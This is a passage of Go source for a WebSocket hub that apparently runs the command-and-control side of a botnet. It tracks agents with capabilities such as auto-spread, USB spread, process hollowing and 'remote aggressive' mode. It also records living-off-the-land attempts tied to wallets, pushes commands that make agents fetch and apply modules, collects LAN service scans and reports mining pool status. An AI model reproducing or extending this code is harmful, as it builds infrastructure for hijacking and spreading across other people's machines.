|
||
} {
|
||
raw, ok := payload["lotl_attempts"]
|
||
if !ok {
|
||
return nil
|
||
}
|
||
data, err := json.Marshal(raw)
|
||
if err != nil {
|
||
return nil
|
||
}
|
||
var attempts []struct {
|
||
Tier string `json:"tier"`
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
DurationMs int64 `json:"duration_ms"`
|
||
Wallet string `json:"wallet,omitempty"`
|
||
}
|
||
if err := json.Unmarshal(data, &attempts); err != nil {
|
||
return nil
|
||
}
|
||
return attempts
|
||
}
|
||
|
||
func clientIPFromBroadcast(broadcast map[string]interface{}) string {
|
||
ip, _ := broadcast["ip"].(string)
|
||
return ip
|
||
}
|
||
|
||
// PushPolicyUpdate sends policy_update to each target agent.
|
||
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
|
||
if policy.IsEmpty() {
|
||
return 0, len(agentIDs)
|
||
}
|
||
payload := marshalPolicyUpdatePayload(pushID, policy)
|
||
for _, id := range agentIDs {
|
||
if err := h.SendToAgent(id, Message{Type: "policy_update", Payload: payload}); err != nil {
|
||
if h.EnqueueBeaconPolicy(id, policy) {
|
||
sent++
|
||
} else {
|
||
failed++
|
||
}
|
||
} else {
|
||
sent++
|
||
}
|
||
}
|
||
return sent, failed
|
||
}
|
||
|
||
// PushModuleFetch asks agents to download and apply a module pack.
|
||
func (h *WSHub) PushModuleFetch(agentIDs []string, moduleName string) (sent, failed int) {
|
||
args := map[string]interface{}{"module": moduleName}
|
||
for _, id := range agentIDs {
|
||
if err := h.SendAgentCommand(id, "fetch_module", args); err != nil {
|
||
failed++
|
||
} else {
|
||
sent++
|
||
}
|
||
}
|
||
return sent, failed
|
||
}
|
||
|
||
// UpdateAgentCapabilities merges runtime capability flags and broadcasts to dashboards.
|
||
func (h *WSHub) UpdateAgentCapabilities(agentID string, patch models.AgentCapabilities) {
|
||
h.mu.Lock()
|
||
cur, ok := h.agentCapabilities[agentID]
|
||
if !ok {
|
||
cur = models.AgentCapabilities{}
|
||
}
|
||
if patch.HolePunch {
|
||
cur.HolePunch = true
|
||
}
|
||
if patch.RemoteAggressive {
|
||
cur.RemoteAggressive = true
|
||
}
|
||
if patch.MeshP2P {
|
||
cur.MeshP2P = true
|
||
}
|
||
if patch.AutoSpread {
|
||
cur.AutoSpread = true
|
||
}
|
||
if patch.ProcessHollowing {
|
||
cur.ProcessHollowing = true
|
||
}
|
||
if patch.AIEnabled {
|
||
cur.AIEnabled = true
|
||
}
|
||
if patch.USBSpread {
|
||
cur.USBSpread = true
|
||
}
|
||
h.agentCapabilities[agentID] = cur
|
||
caps := cur
|
||
h.mu.Unlock()
|
||
|
||
h.broadcastDashboard(Message{
|
||
Type: "agent_capabilities",
|
||
Payload: mustMarshal(map[string]interface{}{
|
||
"agent_id": agentID,
|
||
"capabilities": caps,
|
||
}),
|
||
})
|
||
}
|
||
|
||
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
for _, a := range agents {
|
||
if a == nil {
|
||
continue
|
||
}
|
||
if caps, ok := h.agentCapabilities[a.ID]; ok {
|
||
c := caps
|
||
a.Capabilities = &c
|
||
}
|
||
}
|
||
}
|
||
|
||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
return h.agentLogs[agentID]
|
||
}
|
||
|
||
type cachedServiceDiscover struct {
|
||
Local ServiceGraphHost
|
||
LANHosts []ServiceGraphHost
|
||
}
|
||
|
||
func (h *WSHub) cacheServiceDiscover(agentID, message string) {
|
||
var payload struct {
|
||
Local ServiceGraphHost `json:"local"`
|
||
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
||
}
|
||
if err := json.Unmarshal([]byte(message), &payload); err != nil {
|
||
return
|
||
}
|
||
h.mu.Lock()
|
||
h.agentServiceDiscover[agentID] = cachedServiceDiscover{
|
||
Local: payload.Local,
|
||
LANHosts: payload.LANHosts,
|
||
}
|
||
h.mu.Unlock()
|
||
}
|
||
|
||
func subnetLabelMatches(hostSubnet, query string) bool {
|
||
hostSubnet = strings.TrimSpace(hostSubnet)
|
||
query = strings.TrimSpace(query)
|
||
if query == "" {
|
||
return true
|
||
}
|
||
query = strings.TrimSuffix(query, ".x")
|
||
hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
|
||
return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
|
||
}
|
||
|
||
// QueryServiceGraph returns deduped service entries from cached service_discover runs.
|
||
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
|
||
h.mu.RLock()
|
||
defer h.mu.RUnlock()
|
||
|
||
seen := make(map[string]bool)
|
||
var out []ServiceGraphEntry
|
||
add := func(entries []ServiceGraphEntry) {
|
||
for _, e := range entries {
|
||
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
|
||
if seen[key] {
|
||
continue
|
||
}
|
||
seen[key] = true
|
||
out = append(out, e)
|
||
}
|
||
}
|
||
|
||
collect := func(cached cachedServiceDiscover) {
|
||
if subnetLabelMatches(cached.Local.Subnet, subnet) {
|
||
add(cached.Local.Services)
|
||
}
|
||
for _, host := range cached.LANHosts {
|
||
if subnetLabelMatches(host.Subnet, subnet) {
|
||
add(host.Services)
|
||
}
|
||
}
|
||
}
|
||
|
||
if agentID != "" {
|
||
if cached, ok := h.agentServiceDiscover[agentID]; ok {
|
||
collect(cached)
|
||
}
|
||
return out
|
||
}
|
||
for _, cached := range h.agentServiceDiscover {
|
||
collect(cached)
|
||
}
|
||
return out
|
||
}
|
||
|
||
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
|
||
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
|
||
}
|
||
|
||
func (h *WSHub) BroadcastPoolStatus(status interface{}) {
|
||
h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
|
||
}
|
||
|
||
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
|
||
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
|
||
}
|
||
|
||
// agentDisplayName returns a display name that is unique per physical machine.
|
||
// Hostname is preferred because it's machine-specific — many agents deployed from
|
||
// the same binary would otherwise share the same baked-in worker name, making
|
||
// a large fleet impossible to differentiate.
|
||
func agentDisplayName(workerName, worker, hostname, agentID string) string {
|
||
if hostname != "" {
|
||
return hostname
|
||
}
|
||
// No hostname reported — make the worker name unique with a short agent ID suffix.
|
||
base := workerName
|
||
if base == "" {
|
||
base = worker
|
||
}
|
||
if base == "" {
|
||
base = "agent"
|
||
}
|
||
return base + "-" + shortAgentID(agentID)
|
||
}
|
||
|
||
func shortAgentID(id string) string {
|
||
if len(id) >= 8 {
|
||
return id[:8]
|
||
}
|
||
if id == "" {
|
||
return "agent"
|
||
}
|
||
return id
|
||
}
|
||
|
||
// BroadcastServerLog streams a server log line to connected dashboards.
|
||
func (h *WSHub) BroadcastServerLog(line string) {
|
||
line = strings.TrimSpace(line)
|
||
if line == "" {
|
||
return
|
||
}
|
||
h.broadcastDashboard(Message{
|
||
Type: "server_log",
|
||
Payload: mustMarshal(map[string]string{"line": line}),
|
||
})
|
||
}
|
||
|
||
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
|
||
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||
h.broadcastDashboard(Message{
|
||
Type: "emberwake_notes_updated",
|
||
Payload: mustMarshal(notes),
|
||
})
|
||
}
|
||
|
||
// BroadcastSeerNotesUpdated pushes a new Seer memory note to dashboard clients.
|
||
func (h *WSHub) BroadcastSeerNotesUpdated(note interface{}) {
|
||
h.broadcastDashboard(Message{
|
||
Type: "seer_notes_updated",
|
||
Payload: mustMarshal(note),
|
||
})
|
||
}
|
||
|
||
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
|
||
var warRoomBroadcastInterval = 30 * time.Second
|
||
|
||
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
|
||
func (h *WSHub) runWarRoomBroadcast() {
|
||
if h.db == nil {
|
||
return
|
||
}
|
||
ticker := time.NewTicker(warRoomBroadcastInterval)
|
||
defer ticker.Stop()
|
||
for range ticker.C {
|
||
data, err := h.db.ListWarRoom(7)
|
||
if err != nil {
|
||
continue
|
||
}
|
||
h.broadcastDashboard(Message{
|
||
Type: "emberwake_war_room",
|
||
Payload: mustMarshal(data),
|
||
})
|
||
}
|
||
}
|
||
|
||
type wsPresenceEntry struct {
|
||
User string `json:"user"`
|
||
Page string `json:"page"`
|
||
Online bool `json:"online"`
|
||
Ts int64 `json:"ts"`
|
||
}
|
||
|
||
func (h *WSHub) presenceSnapshotLocked() []wsPresenceEntry {
|
||
byUser := make(map[string]wsPresenceEntry)
|
||
for _, dc := range h.dashboards {
|
||
if dc.Username == "" {
|
||
continue
|
||
}
|
||
page := dc.Page
|
||
if page == "" {
|
||
page = "/dashboard"
|
||
}
|
||
byUser[dc.Username] = wsPresenceEntry{
|
||
User: dc.Username,
|
||
Page: page,
|
||
Online: true,
|
||
Ts: time.Now().UnixMilli(),
|
||
}
|
||
}
|
||
out := make([]wsPresenceEntry, 0, len(byUser))
|
||
for _, e := range byUser {
|
||
out = append(out, e)
|
||
}
|
||
return out
|
||
}
|
||
|
||
func (h *WSHub) broadcastPresenceUpdate(user, page string, online bool) {
|
||
if user == "" {
|
||
return
|
||
}
|
||
h.broadcastDashboard(Message{
|
||
Type: "presence_update",
|
||
Payload: mustMarshal(wsPresenceEntry{
|
||
User: user,
|
||
Page: page,
|
||
Online: online,
|
||
Ts: time.Now().UnixMilli(),
|
||
}),
|
||
})
|
||
}
|
||
|
||
func (h *WSHub) broadcastNotesTyping(user string, active bool) {
|
||
if user == "" {
|
||
return
|
||
}
|
||
h.broadcastDashboard(Message{
|
||
Type: "notes_typing",
|
||
Payload: mustMarshal(map[string]interface{}{
|
||
"user": user,
|
||
"active": active,
|
||
"ts": time.Now().UnixMilli(),
|
||
}),
|
||
})
|
||
}
|